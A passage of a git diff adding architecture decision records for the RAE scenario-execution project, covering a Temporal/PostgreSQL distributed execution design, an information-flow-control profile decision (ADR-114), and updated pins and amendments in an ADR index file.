boundaries + +[Hub #3](https://github.com/OpenRAE/hub/issues/3) and #1348 govern the following +allocation; component reuse cannot alter it. + +| Owner | Retained responsibility | +| --- | --- | +| RAES | Semantics, portable contracts and conformance. | +| Shared RAE runtime | Admission, authored execution order and time interpretation, retry/continuation permission, supervised dispatch, conflicting-effect reservations, validated outcomes and requirement satisfaction. | +| LilRAE | Complete personal/local backend: realization, readiness, evidence, rollback and teardown. Its small default pack does not cap capability. | +| BigRAE | Complete organizational backend: organizational control plane, tenancy, authentication, policy, secrets, resource scheduling, audit and operations. These duties do not replace RAE's scenario semantics or operation audit. | +| Hub, Catalog, env-packs | Journey/sequencing/release gate; discoverable reusable assets; bounded environment pack, respectively. | +| Adapters and embedders | Translation only where required; deployment, process lifecycle and selected composition. | + +Backends execute concrete effects, establish observations and cessation, and +may legitimately refuse. RAE checks required capability and contextual +willingness, and decides whether the observed result satisfies the admitted +contract. A backend cannot weaken that contract; RAE cannot infer unobserved +reality. Resource availability never supplies permission for another attempt. + +### 3. Separate state authority, deterministic orchestration and effect workers + +The diagram shows the selected distributed composition, not today's P2 topology. +RAE components may be co-deployed, but external work must not occupy the state +authority's short mutation section or its reserved control capacity. + +```mermaid +flowchart TD + A["Authored plans and authorized supervisor"] --> G["RAE admission and control API"] + subgraph RAE["Shared RAE runtime authority"] + G --> O["One state writer per admitted target/run scope"] + W["RAE semantic workflow code"] -->|"bounded state requests"| O + O <-->|"atomic state, invocation claims and audit"| L["RAE operation ledger"] + E["Effect activity workers"] -->|"current invocation authorization"| O + C["Control and observation workers"] -->|"correlated evidence"| O + end + O -->|"stable start and control identities"| T["Temporal service and durable queues"] + W -->|"permitted commands and timers"| T + T -->|"workflow tasks"| W + T -->|"effect queue"| E + T -->|"separate control queue"| C + T --> H["Temporal PostgreSQL history and visibility"] + L --> P["Separate PostgreSQL ledger database and role"] + E <-->|"validated backend calls and results"| B["LilRAE, BigRAE or other backend"] + C <-->|"stop, refusal, observation, cessation"| B +``` + +The ledger is authoritative for portable operations, snapshots, idempotency, +invocation reservations and operational audit. Temporal history is authoritative +for engine progress. These are different facts, with no dual-write success +assumption. Only the scoped RAE state writer commits semantic state, using the +existing atomic-store contract. Effect workers have no direct ledger mutation +credentials. Temporal workflow workers call RAE semantic logic; nondeterministic +store, clock, secret and backend interactions use activities and the admitted +state boundary, never workflow replay code. + +Existing workflow and participant schedulers decide *which* work is admissible; +Temporal supplies delivery and execution capacity. BigRAE supplies organizational +resource policy. Do not copy those schedulers into a new queue service. + +| Interface | Required information and authority | +| --- | --- | +| Admission to ledger | Immutable actor, target/run, operation kind, validated request commitment, resolved author policy with provenance, contract version and required guarantees. | +| Engine command | Opaque operation/invocation references, expected generation and carrier version; no credentials, live resolver, planner object or pickle. | +| Worker to state authority | Authenticated service identity scoped to tenant, target/run, operation and invocation; current authorization and willingness before effect admission. An engine task token is not RAE authorization. | +| Backend execution/control | Scoped invocation/control identity, admitted constraints, capability/willingness disposition, budgets and correlated evidence. Control has its own authorized actor. | +| Result to state authority | Existing bounded decoding and native validation against a trusted predecessor; effect knowledge, cessation/residual evidence and final release gates where required. | + +These are interface obligations, not new wire shapes. Extend the owning +contracts through governed schema publication; current recovery observation +carriers cannot express every cessation, partial-effect or continuation claim. + +### 4. Contextual author policy governs failure, retries and fresh trials + +Adopt the [retry and scope design](../../research/execution-architecture/authored-retry-policy.md). +Authors can set scenario defaults, nested lexical scope defaults and explicit +local overrides, using the same specificity principle as open/closed scopes. +RAE resolves and validates one effective policy before admission and records its +origin. Capability, idempotency and persistence do not imply permission to retry. +The policy also determines failure response and validity consequences under the +authored context: invalidating an experiment, holding/reconciling a twin's time +and state, invoking an admitted OT safe-state procedure, or restoring an IT +resource are different decisions with different evidence. Neither an IT/OT +label nor a common exception type chooses that response automatically. Mixed +scenarios can select different policies by scope; admission must check their +shared-resource, state and time dependencies. Intentional in-world faults must +not be erased by generic infrastructure recovery. + +The choices include never repeating an effect, bounded authorized repetition +under an admitted safety condition, and terminating this trial before separately +admitting a fresh trial. A technically idempotent effect may still be forbidden +to repeat for experimental validity. Reset and compensation require their own +verified obligations. Engine redelivery, effect invocation, authored workflow +attempt and experimental trial are distinct identities and counters. + +Engine retries may implement a policy only when each dispatch passes the +current RAE gate and preserves its limits and identity. Otherwise use a +single-attempt effect activity and let RAE schedule a separately authorized +attempt through Temporal. Pure/idempotent bookkeeping can use bounded engine +retries independently. No automatic retry policy applies universally to +in-world effects. In the absence of an authored permission, do not authorize a +second effect; this fallback is not a ban on explicit scoped retry policies. + +### 5. Use a conservative ledger/engine protocol + +The [execution protocol](../../research/execution-architecture/execution-protocol.md) +specifies admission, start acknowledgement, one-use invocation claims, result +settlement, ownership loss and restore handling. The essential rule is that +replaying a command or recovering an engine never recreates a consumed effect +permission. Resolve ambiguous state commits by authoritative readback; resolve +ambiguous external effects by admitted observation and cessation evidence. + +No distributed transaction spans Temporal and the RAE ledger. Reuse PostgreSQL +transactions, uniqueness and revision checks for ledger changes, and Temporal's +stable workflow identity and duplicate-start controls for engine submission. +Do not implement another durable transport queue. A retained admitted command +can be re-submitted for delivery; its effect gate still decides whether an +invocation is permitted. If safe recovery cannot be established, preserve +quarantine and report indeterminacy rather than repeat an uncertain effect. + +Distributed owner transfer is conservative: a replacement may observe and +reconcile, but it cannot release the old owner's reservations merely because +its lease expired. PostgreSQL CAS rejects stale state writes; it does not fence +external work. Automatic active/active scope ownership and disconnected +multi-writer operation are excluded from this selection. + +### 6. Reserve supervision capacity and retain time authority + +Use separate effect and control worker pools and queues, with separately bounded +HTTP/IPC admission, connection pools, audit capacity and process resources. +Bound callbacks, observation, state commits and drain independently; propagate +remaining budgets through nested calls. A shared saturated database or failed +Temporal service remains a common failure boundary. Return bounded unavailable +or indeterminate results there, not successful cancellation. Backend-local +containment and independent emergency controls must be admitted when an authored +interruption guarantee requires them. They do not transfer scenario authority. + +Scenario time belongs to the existing clock/domain/segment model. Temporal +timers measure apparatus scheduling, not simulated physics or a paused scenario +clock. RAE maps semantic deadlines explicitly and rechecks the clock segment +and remaining budget on wake/recovery. Persist restart-interpretable time data, +not raw monotonic timestamps. If continuity cannot be established, refuse the +continuation requiring it. Tight control loops and co-simulation stepping belong +in suitable existing backend machinery under the admitted time contract; +Temporal is not a hard-real-time or safety controller. + +### 7. Bound federation, isolation, deployment and upgrades + +The initial distributed topology has connected trusted workers, one home +authority for each target/run and tenant-scoped services/credentials. Federation +means authorized cooperation between these homes, not shared mutable ownership. +Prefer separate tenant ledger databases/roles, namespaces and worker fleets; +use separate Temporal clusters for mutually distrustful administrative domains. +Namespaces and queue labels route work; authentication and authorization enforce +access. Configure Temporal's supported mTLS/claim-mapping/authorization surfaces; +its default permissive authorizer is unsuitable for untrusted access. +BigRAE owns that deployment policy; RAE still authorizes every operation and +supervisory request. [Temporal security](https://docs.temporal.io/self-hosted-guide/security) + +On a partition, a worker that cannot obtain current admission starts no new +effect. An already admitted effect may continue: quarantine the conflicting +scope until observation establishes its outcome. Do not promote another home +or silently fall back to a local profile. Air-gapped deployments can run the +selected services within the enclave or select a supported local composition; +offline multi-writer reconciliation is excluded. + +Workers run trusted integration code. Hostile CTF guests, AI-generated code, +models and product-under-test workloads execute behind backend-owned VM, +container or other admitted containment. A Temporal workflow sandbox is a +determinism mechanism, not that security boundary. Keep control/store credentials +outside those workloads. Validate sizes and types before SDK decoding reaches +domain consumers; reuse JSON ingress, closed carriers, environment bindings, +participant information-flow/final-sink checks and value-free error envelopes. +Use configured endpoints only. Secret references are resolved at authorized +execution; raw secrets stay out of history, search attributes, heartbeat data, +retry records, dashboards and audit. Stored outputs also obey disclosure policy. + +Deploy the service, its supported PostgreSQL persistence and visibility stores, +RAE's separate ledger, trusted workers and existing host supervision. A separate +search cluster or Kubernetes installation is not required by this decision. +Apply existing artifact locks, least-privilege roles, backups and restore drills. +Keep compatible workflow workers available for old histories; use supported +versioning and Continue-As-New at validated boundaries, carrying operation +identity, policy, remaining budgets, reservations and pending controls. History +rollover is not a new RAE attempt or trial. Refuse unsupported versions rather +than replay changed semantics. See [versioning](https://docs.temporal.io/develop/python/versioning) +and [Continue-As-New](https://docs.temporal.io/develop/python/continue-as-new). + +### 8. Keep the use cases broad + +| Use case | Composition and semantic requirement | +| --- | --- | +| Ordinary CTF | Small local profile or shared distributed deployment as needed; bounded setup/reset/teardown and optional retry defaults. No compulsory robotics, experiment wrapper or physical-OT safety stack. | +| OT digital twin | Existing simulation/plant-model backend, explicit time/fidelity/coupling contract and evidence. SimPy can schedule discrete events; it is not a physics solver or a universal twin. ROS actions are useful only where that backend already uses them. | +| AI security and sandboxes | Isolate hostile workloads from trusted workers, protect participant disclosure, preserve model/data/tool versions and trial identity. Ray may serve a backend's distributed compute need without owning RAE outcomes. | +| Product testing | Reuse the product's test/provisioning machinery at backend seams; preserve scenario assertions, reset evidence and exact policy. A flaky-test retry must remain visible; idempotency cannot turn a failed trial into an unreported retry. | +| Mixed IT/OT disaster recovery | Execute authored restoration dependencies and verify recovery through backend observations. Restoring orchestration records does not restore the world. Physical-state reconciliation, backend refusal and separate safety systems remain explicit; no universal rollback or safety certification is claimed. | + +### 9. Acceptance and implementation boundary + +The architecture selection is complete; its executable realization follows +governed contracts and tests. [#1360](https://github.com/OpenRAE/rae/issues/1360) +and [#1362](https://github.com/OpenRAE/rae/issues/1362) must consume the interface, +retry-policy and recovery obligations. Public authoring of inherited retry +defaults, their compilation and the fresh-trial link require explicit delivery; +they are not features of today's cleanup-policy carrier. A coordinated profile +additionally needs an API-404-C4 ADR/formal-model extension and tenant/owner +conformance before P3 can become selectable. This ADR does not make that change. + +The [canonical disposition](../../research/execution-architecture/decision-discussion.md) +maps API-404 C1-C4 and the retained workflow, time, trial, result-validation and +observability owners. API-404 remains ACTIVE for its existing guarantees. Design +and probe evidence is recorded as DOCUMENTS, without new fulfillment claims. + +Before deployment claims, verify the actual RAE/backend composition under +duplicate delivery, stale workers, lost commit acknowledgements, service/store +loss, saturated control paths, unauthorized messages, secret-bearing history, +code upgrades and independent backup restores. Test policy inheritance and +fresh-trial validity, not just Temporal status. Measure load using event rates, +payloads, durations and control latency; tenant/node counts do not size a system. + +## Alternatives Considered + +- **DBOS with PostgreSQL:** a credible free durable-workflow alternative with + distributed queues. Its probes do not show it incapable. Temporal is selected + for its explicit service/worker separation and integrated execution history, + routing and operational model across connected worker fleets. DBOS's embedded + model reduces service footprint; changing this selection needs new evidence + that the operational trade-off matters, not another general survey. +- **Celery/task queues or a custom AnyIO platform:** mature task delivery is + useful, but building durable scenario orchestration, recovery coordination and + history around a task queue leaves more generic machinery for RAE to maintain. + Keep AnyIO for the local/worker seam. Do not create a second distributed engine. +- **ROS actions, Ray actors, SimPy, BehaviorTree.CPP:** retain as complementary + backend mechanisms where required. None supplies the complete portable + operation contract, and no evidence justifies making all users install them. +- **One mandatory distributed service:** violates the local composition promise. + **Engine history as the operation ledger:** conflates execution and semantic + outcomes and loses the existing atomic snapshot/operation/audit boundary. + +## Consequences + +RAE reuses established free execution and storage components while retaining +its duties. Integration work remains: semantic adapters, governed invocation +carriers, PostgreSQL store/provider, authenticated workers and policy compilation. +These are domain boundaries, not a new general-purpose execution platform. + +The distributed deployment is heavier than local SQLite and requires database, +service, worker-version and backup operations. Conservative reconciliation can +leave scopes unavailable when effects cannot be observed. That loss of liveness +is explicit; framework restart cannot manufacture permission or cessation. diff --git a/docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md b/docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md new file mode 100644 index 000000000..7a8c48ef4 --- /dev/null +++ b/docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md @@ -0,0 +1,97 @@ +# ADR-114: IFC Profile Variability and Publication + +## Status + +accepted + +Acceptance takes effect when the delivery PR for +[#1354](https://github.com/OpenRAE/rae/issues/1354) merges. An unmerged copy is +proposed delivery state. This is a semantic decision, not new portable profile +support or runtime adoption. + +## Date + +2026-09-23 + +## Classification + +Classification: FM3 + +Required artifacts: [IFC-01–IFC-07](../../../specs/formal/participant-semantics/ifc-profile-variability.md), +[worked cases and bounded evidence](../../research/ifc-profile-variability/cases.md), +[finite interpretation](../../../implementations/python/tests/ifc_profile_variability_model.py), +[behavioral witnesses](../../../implementations/python/tests/test_issue_1354_ifc_profile_variability.py), +[migration obligations](../../migration/ifc-profile-variability.md), and +SEM-233/SEM-235 amendments. + +Waivers: the finite interpretation assumes trusted context and comparable +synthetic guarantee facts. It is not an installed engine, public negotiator, +wire reader, instrumentation proof or backend conformance result. No schema, +profile bytes, provider protocol or runtime implementation changes here. + +## Context + +The [preflight](../issue-1354-ifc-profile-variability-preflight.md) confirms that +SEM-233's product-powerset algebra already supports finite independent owner +obligations. The published digest-pinned security profile has a much smaller +fixed vocabulary. Shape-valid token additions do not pass publication +validation, and modular consumers recognize a closed profile/fact union. +Finiteness is not the problem; losing independent release distinctions is. + +ADR-108 permits governed domains without a general interpreter. CA-04 already +defines requirement-relative support, while current v1 composition rejects +non-exact support. Neither a declaration nor acceptance of weaker capability +proves that the authored requirement is satisfied. + +## Decision + +Adopt `ifc-profile-variability/rev1` under SEM-233 and SEM-235. Authors specify +required owner/release distinctions, scope and guarantees, directly or through +exact governed references. Profiles publish their meaning; backend configuration +binds realizations without changing that meaning. + +Use governed closed finite publication for additional justified distinctions. +Independent owners retain independent confidentiality and integrity obligations, +even with equal current audiences. Conservative joins, trusted authority for +every discharged obligation, fresh derived identities and immutable provenance +remain mandatory. Extensibility uses exact profile bindings and the existing +trusted source/sink/authority resolver seam. No owner-parameter syntax, policy +language or plugin facility is justified by these finite cases. + +Require separate evidence for expressibility and realization, then apply CA-04 +to the actual authored coverage and constraints. An admitted bounded guarantee +is legitimate where the requirement permits it; losing an admitted promise +during execution blocks the affected mandatory release and requires an explicit +new admission to change the promise. Authority to downgrade does not establish +satisfaction or remove another owner's obligation. + +Publish exact current limits and migration obligations. Independent-owner +examples are semantic witnesses, not new registered profiles. Adding tokens +requires coherent release correspondence, contracts, readers, capability, +runtime and backend evidence before any operational claim. Preserve ADR-101's +security meanings, ADR-108's declared-world boundary and CA-01–CA-09. + +## Alternatives Considered + +- Collapse every owner into `restricted`: conservative blocking can be a + disclosed limit, but cannot supply independently authorized selective sharing. +- Encode new meaning in backend configuration or audit names: cannot establish + portable profile semantics, complete propagation or per-obligation authority. +- Add arbitrary labels, callbacks or a policy/plugin language: the finite cases + need none; they would introduce interpretation and executable authority. +- Adopt owner parameters immediately: potentially useful for repeated finite + deployments, but needs a concrete unmet case and a separate closed binding + contract. This decision leaves that justified extension possible. +- Treat all bounded support as success, or every bounded guarantee as runtime + failure: both ignore the requirement and the guarantee actually admitted. + +## Consequences + +The support boundary becomes reviewable: a valid requirement can be refused +because no profile expresses it, because no backend realizes it, or because +an admitted guarantee was lost. Supported policy denial remains a different +outcome. Historical records retain their original evidence and limitations. + +The cost of new variability is governed publication and coordinated consumer +adoption. This decision neither certifies a contextual encoding of independent +owners under the legacy vocabulary nor broadens existing implementation claims. diff --git a/docs/decisions/adrs/adr-index.yaml b/docs/decisions/adrs/adr-index.yaml index 4ec9d01e3..5e4377c7f 100644 --- a/docs/decisions/adrs/adr-index.yaml +++ b/docs/decisions/adrs/adr-index.yaml @@ -22,7 +22,7 @@ adrs: summary: "Replace native vulnerability and classification sections with generic external concept bindings, preserving native execution semantics, explicit migration, and ordinary participant disclosure." - id: ADR-002 path: docs/decisions/adrs/adr-002-declarative-sdl-objectives.md - pin: 70db360e393dd0a02b0bed7aaa668a68ed6961eda0f9246905a536b9c6cba82c + pin: 9dc73c75d1977822b58b0ce98bf57f2caf7d4fa5c226427f6c4afd0fe9ad08a3 amendments: - date: 2026-07-05 ref: "#682" @@ -30,6 +30,9 @@ adrs: - date: 2026-07-12 ref: "#725" summary: "Per ADR-079, corrected the condition/proposition conflation: objective success composes assertions over typed propositions; conditions are probe realizations only." + - date: 2026-09-21 + ref: "#1338" + summary: "Per ADR-109, separate organizational ownership and participant assignment, require declared action contracts, and retain realized-attribution boundaries." - id: ADR-003 path: docs/decisions/adrs/adr-003-workflows-targetable-subobjects-and-enum-variables.md pin: 0039bea0de4e4d5d08ccf300a7fb7516a0ea01977f38f1e2e111409a13e108df @@ -70,7 +73,7 @@ adrs: summary: "Superseded §6's no-SDL-episode-syntax non-goal for the joint episode+budget design (SEM-222/DSL-120/ACT-623, #122): DSL-120/ACT-623 add an authored episode-structure surface (init, turn structure, terminal/truncation conditions, reset policy) as intent compiling to the existing ParticipantEpisode* contracts; runtime identity, state/reason/action separation, and the schema-first boundary are unchanged." - id: ADR-014 path: docs/decisions/adrs/adr-014-nox-as-canonical-verification-graph.md - pin: 8cb99985ba00ec762412018872579560847f4f638e9bce36a718feaf07e02b82 + pin: cecb6398e55a03fd5ec20c3768a1fe09b5c5fba302e878af0b19b4aa0f3d5afa amendments: - date: 2026-07-31 ref: "#963" @@ -81,6 +84,9 @@ adrs: - date: 2026-09-03 ref: "#1164" summary: Split private nox helpers into an acyclic support package while retaining root noxfile.py as the sole public session registry and preserving coverage and static analysis. + - date: 2026-09-22 + ref: "#1348" + summary: Restricted local defaults, pre-push, changed verification, and completion to targeted feedback; reserved full test suites for CI/CD, superseding earlier local full-regression obligations while preserving required CI and Sonar gates. - id: ADR-015 path: docs/decisions/adrs/adr-015-sdl-processor-layering-and-source-file-size-cap.md pin: bc5038164e535c4d506962e27cee07e720f5c8a77cb17d018dedb3dba927936f @@ -110,11 +116,14 @@ adrs: summary: "Removed changelog.d/ from the non-normative roots after release-please replaced the towncrier workflow (GOV-901)." - id: ADR-020 path: docs/decisions/adrs/adr-020-declarative-participant-framing-boundaries.md - pin: 4a5d146fc0ffd6da97af94e9f2d257a893de0ab7f63c709339d27f33178609d0 + pin: 37dd453a0c96fe454d5ee2a4a1b9a9e46171a8322d84105d34f42507deb7a8e2 amendments: - date: 2026-06-13 ref: "#484" summary: "Recorded acceptance of the implemented participant framing authoring surface." + - date: 2026-09-21 + ref: "#1338" + summary: "Per ADR-109, separate declaration identity from optional affiliations and define direct-first, single-affiliation role resolution." - id: ADR-021 path: docs/decisions/adrs/adr-021-falsification-first-claim-evidence-gate.md pin: 3e6053efd262abdbc37c8804bb066466b4c968dc647bfc605c16b563f6639642 @@ -152,6 +161,10 @@ adrs: - id: ADR-026 path: docs/decisions/adrs/adr-026-application-http-surface-inventory.md pin: 8818f870d79498f3322fd5edb9d2269948d04079ef5fbc7238811911ab7f5373 + amendments: + - date: 2026-09-18 + ref: "#1298" + summary: "Separated extensible case-sensitive HTTP wire-method identity from controlled vocabularies while retaining legacy built-in aliases and execution boundaries." - id: ADR-027 path: docs/decisions/adrs/adr-027-container-init-reaper-runtime-surface.md pin: d568a5a77d55b995d23c057ed3ccc56d221509a6068374d3884b2608c926cdea @@ -203,7 +216,11 @@ adrs: summary: "Adopted generic software refinements, exact-package compatibility, shared final repository/trust identity and independent acquisition/reporting boundaries." - id: ADR-035 path: docs/decisions/adrs/adr-035-service-manager-unit-state-runtime-surface.md - pin: a8eb4df39f8b88781fee62ce83a2d2abee3951ebbeed5dc0c544a2a929ffad06 + pin: 7f8f8cd95a368698d7b637fd2ee363be295e4cde7d85a46fe49f01462c03bc07 + amendments: + - date: 2026-09-17 + ref: "#1297" + summary: "Separated portable unit identity/native names from the explicitly selected systemd state profile and preserved omission semantics." - id: ADR-036 path: docs/decisions/adrs/adr-036-sdl-processor-runtime-module-boundaries.md pin: 80274b6f6f7529fdce17d3451acb2201f6ecf07095dbc5f6b36aa81399ddcdd9 @@ -235,7 +252,11 @@ adrs: pin: d2d244bdd3bbfe2d6eaecc2e69bc73a474f405ae7e1d4d8bbb5dd75dbed7826d - id: ADR-043 path: docs/decisions/adrs/adr-043-runtime-service-listener-surface.md - pin: 10e261d7027b769097ae70fc139d8d2c452b48b48146ed67d6af171f970163c6 + pin: 08e238b1ab607d1aca0ac8a5b3ac6190dc1728de0fb742a145bd662ba17cab6e + amendments: + - date: 2026-09-17 + ref: "#1299" + summary: "Separated partial listener descriptions from complete endpoint admission, preserved presence/default provenance, and retained the narrower ADR-031 SSH service binding." - id: ADR-044 path: docs/decisions/adrs/adr-044-network-detection-engine-runtime-inventory.md pin: 9272830dd30284ab864c62eb7bd74a563403bbfdff59992173d154785d55d3f7 @@ -364,7 +385,7 @@ adrs: pin: 69f90581b2bcedc12bfb7ed8aa688787d7a0d9aa4cc49a90f8c631ecbae8a356 - id: ADR-066 path: docs/decisions/adrs/adr-066-observability-evidence-plane-separation.md - pin: 5d061a0667b2505d311803adf94e507781c4ba70550892bbfbe50cc82c4120ac + pin: 98945754dae6d7df7eb21dd2a8d9dc938838d514e79fc42af7874dea8b63d764 amendments: - date: 2026-06-23 ref: "#335" @@ -372,6 +393,9 @@ adrs: - date: 2026-08-01 ref: "#1043" summary: "Separated forwarding-agent ownership, realization corroboration, evidence binding, and operational behavior claims." + - date: 2026-09-16 + ref: "#1242" + summary: "Added binding open-by-default augmentation scope, explicit author restrictions, pre-materialization refusal, and the author-burden rationale." - id: ADR-068 path: docs/decisions/adrs/adr-068-experiment-trials-replication-and-replay-claims.md pin: 12e6d644f7a90d50956964d8f0608737f9b4d8c7627819419a69974184c2781f @@ -421,11 +445,14 @@ adrs: pin: bbbcb25d36c0b81b4b19198321ae2578e433bc238465397367f5e7dcf3407138 - id: ADR-078 path: docs/decisions/adrs/adr-078-closed-sdl-phase-contracts-and-portable-derivation-evidence.md - pin: d8e2630e332568681d5cf4df5f63971fc5a909c656d380b785e75c016a3744cb + pin: 096e95f3ed269f1e3a01814bcd10bf280109875dc8f1feeaec2955207a2126ed amendments: - date: 2026-07-12 ref: "#724" summary: "Clarified that required instantiation provenance remains validated artifact identity metadata but is excluded from realization-envelope child-dimension enumeration." + - date: 2026-09-14 + ref: "#1241" + summary: "Added the closed descriptive materialized SDL phase, execution-bound provenance and distinct protected archival identity without changing original realization authority." - id: ADR-079 path: docs/decisions/adrs/adr-079-backend-neutral-proposition-and-truth-semantics.md pin: a16e021301c9b411c8efe54ac4933819a50bd10a27d13741cc7ce78d6bffbe14 @@ -485,8 +512,11 @@ adrs: pin: c2a0e6ac9fb87aa10fbb571b0f70efe0b99520b806f6ffe706f1556b0ec7e84b - id: ADR-092 path: docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md - pin: 3ef5777be2b8d10e7b1e1a8ff55dc999bc7254210aa8800b317c9f87165e3fea + pin: 53c3e77d830859eaf873454da7177cdcc94d302a9456d8a5568eebc33dc6329e amendments: + - date: 2026-09-21 + ref: "#216" + summary: "Made backend features conditional and added explicit bounded deadline/dwell admission, evidence, and lifecycle rules." - date: 2026-07-24 ref: "#861" summary: "Required exact action provenance and capability-specific atomic participant batching." @@ -533,27 +563,56 @@ adrs: pin: 61a5ea9d72a0afa1033d46131913f45b140286b6ddddcb59e0e1f6914b721cb9 - id: ADR-100 path: docs/decisions/adrs/adr-100-participant-crossing-bisimulation.md - pin: b7e17e58fc01e8f07a972ee5abc65e6a8470e2a6d51c2480334a3777df079e98 + pin: 8a406230189370e90c5fcab4e29459f3bcb7dc71321a7b4da007e7011bf6f4fb + amendments: + - date: 2026-09-27 + ref: "#971" + summary: "Select executable rev2 and close single-operation retry, history, ordering, and completion semantics." - id: ADR-101 path: docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md - pin: 7d613beae8ae50e3232a07be1eedd5db422f252a728f34597d0c5dac65086164 + pin: 7a579c1f66ee66285465e261f5e740414986c393fd57fbde3c490be3653711b9 amendments: - date: 2026-09-06 ref: "#1068" summary: "Clarify modular composition, governed effects and the declared-world boundary under ADR-108 while preserving the security profile and runtime interpreter non-goal." + - date: 2026-09-23 + ref: "#1354" + summary: "Define IFC profile variability, requirement-relative support, per-obligation release and immutable migration under ADR-114." + - date: 2026-09-24 + ref: "#1383" + summary: "Rebind the #1354 publication reference to ADR-114 after ADR-113 was assigned to #1350; semantics are unchanged." - id: ADR-102 path: docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md - pin: cfcb0f5b7291b47fe6ff6096bb18dd9063b83ee5d4f7f6a9cafbdd06f21bf716 + pin: e00772b8642d117da413cceb3767e865ebaf3cecd55d2d8f04d8d43205d79027 + amendments: + - date: 2026-09-24 + ref: "#1355" + summary: "Required executable mixed mappings, bridge and time coordination, independent stage readback, and native staged handoff while preserving historical reference-only meaning." - id: ADR-103 path: docs/decisions/adrs/adr-103-branch-aware-python-coverage-policy.md pin: a44acbc2db1b5349ba316ba0d09bd9b46310db016cb87937b08bc6bc107755aa - id: ADR-104 path: docs/decisions/adrs/adr-104-runtime-control-plane-architecture.md - pin: 0743c8ac05d02bc482804066ded6414fb44c499d9817f9694efa108878f413ed + pin: c71f377900dce99190bc1cf08d0d7c93a80fedbb6fcbb0f887cf6b5dc6b49fc6 amendments: - date: 2026-09-03 ref: "#1151" summary: "Reclassified the stateful control-plane design as FM3 and added the abstract lifecycle, actor-bound audit, authorization, idempotency, and target/run isolation invariants required before implementation." + - date: 2026-09-19 + ref: "#1186" + summary: "Permitted the operator CLI to call only the closed public P1 offline-maintenance interface while keeping runtime validation and publication ownership intact." + - date: 2026-09-20 + ref: "#1189" + summary: "Made profile declarations runtime-owned composition metadata, separated provider facts from guarantees, and fixed P2 and recovery-observation boundaries." + - date: 2026-09-22 + ref: "#1348" + summary: "Defined shared-runtime supervision, effect reservations, evidence-based settlement and authored recovery choices while preserving profile and implementation nonclaims." + - date: 2026-09-24 + ref: "#1356" + summary: "Bound participant clients to an organizational backend and kept privileged P2 credentials and raw control-plane outputs inside that boundary." + - date: 2026-09-25 + ref: "#1356 follow-up" + summary: "Clarified SDK method access, optional P2 identity scope, host policy, and the legacy no-resolver projection gap." - id: ADR-105 path: docs/decisions/adrs/adr-105-recursive-partial-description-semantics.md pin: e50538c4e03d12ea92ad584322dc8618835f1724ae0086c444fba0527949a01e @@ -563,18 +622,56 @@ adrs: summary: "Proposed acceptance with bounded compiler/runtime adoption, opt-in joint preparation, prepared portable membership, and the authenticated plan-level profile host. Ratification takes effect on merge." - id: ADR-106 path: docs/decisions/adrs/adr-106-developer-package-and-artifact-management.md - pin: bc78a9a4b25f90572532084f1a4f5a254e969b21089b3c04a6876f84ee86536a + pin: 4c4dc68ef5e28a3740e22050b831e8cdc087f3c31e3215c4d4f33bdac055e5df amendments: - date: 2026-09-06 ref: "#1229" summary: "Recorded the maintainer acceptance already established by merged PR #1229 and added the ADR to the accepted-content pin manifest." + - date: 2026-09-17 + ref: "#1313" + summary: "Narrowed the scope to connected single-maintainer OSS development and ordinary release recovery; retained the original design as history." - id: ADR-107 path: docs/decisions/adrs/adr-107-artifact-promotion-and-release-admission.md - pin: 49c94a185d5bc012a246f3bffee067a9a043fa8ab662332f1d1354acdc97fb47 + pin: a3cdbf6fd69bcc9f96ffd1ca7e7e95340d0a597ee42c4a5c21a96f79d3063d96 amendments: - date: 2026-09-06 ref: "#1229" summary: "Recorded the maintainer acceptance already established by merged PR #1229 and added the ADR to the accepted-content pin manifest." + - date: 2026-09-17 + ref: "#1313" + summary: "Narrowed the scope to connected single-maintainer OSS development and ordinary release recovery; retained the original design as history." - id: ADR-108 path: docs/decisions/adrs/adr-108-modular-participant-control-and-governed-effects.md - pin: d734bb660e153dc6d97c1cbdc5d1079cc837d77d5874da84bd8e8d788c7edf80 + pin: a104a1150d612fa04c10847d36390d54fd99ce821d96c044b88c32404f7471f5 + amendments: + - date: 2026-09-22 + ref: "#1352" + summary: "Clarify applicability, dependency invocation, support and phase-independent parent decisions through ADR-111." + - date: 2026-09-23 + ref: "#1354" + summary: "Define IFC profile variability, requirement-relative support, per-obligation release and immutable migration under ADR-114." + - date: 2026-09-24 + ref: "#1383" + summary: "Rebind the #1354 publication reference to ADR-114 after ADR-113 was assigned to #1350; semantics are unchanged." + - id: ADR-109 + path: docs/decisions/adrs/adr-109-participant-identity-and-objective-assignment.md + pin: 859172f6b8791577059a3215af639210e86267455c8a059f71168e621c0f9c61 + amendments: + - date: 2026-09-21 + ref: "#1338" + summary: "Editorial: use the explicit classification-waiver declaration required by the assurance policy gate." + - id: ADR-110 + path: docs/decisions/adrs/adr-110-reusable-mixed-control-policies-and-occurrences.md + pin: 7ea0cfbdb340b8ff8956dd51f9f7f670d9b1e7017599b50d963aa81e554be13f + - id: ADR-111 + path: docs/decisions/adrs/adr-111-control-applicability-and-effect-decisions.md + pin: 74b4ca642fd9b9ed2ca10e2910f89d27859b393d16101c2bf261c826ffe2009e + - id: ADR-112 + path: docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md + pin: 65e54addfb3a2dba74941f3c8030dec8c7a39661cc5aebb456e59c03af120ea3 + - id: ADR-113 + path: docs/decisions/adrs/adr-113-reusable-execution-machinery.md + pin: 6d904befc0d37d44b07ed083d297c7a0e3ba0d520d79f9ddce1999477c78e91d + - id: ADR-114 + path: docs/decisions/adrs/adr-114-ifc-profile-variability-and-publication.md + pin: 432d75b65d0ef06e022b260240fa7b8f99513f568048796b2b3811a1aeefebcb diff --git a/docs/decisions/issue-1005-asr-516-authoring-adapter-semantic-consistency-preflight.md b/docs/decisions/issue-1005-asr-516-authoring-adapter-semantic-consistency-preflight.md new file mode 100644 index 000000000..79b65ea2b --- /dev/null +++ b/docs/decisions/issue-1005-asr-516-authoring-adapter-semantic-consistency-preflight.md @@ -0,0 +1,270 @@ +# Issue 1005 / ASR-516 Authoring Adapter Semantic Consistency Preflight + +Date: 2026-09-16 + +Issue: #1005. + +Requirement: ASR-516, `DRAFT` / `SHOULD`. + +This note fixes the architecture boundary for reusable RAES authoring-adapter +conformance vectors. It is guidance only: it does not add a vector, schema, +adapter, transport, 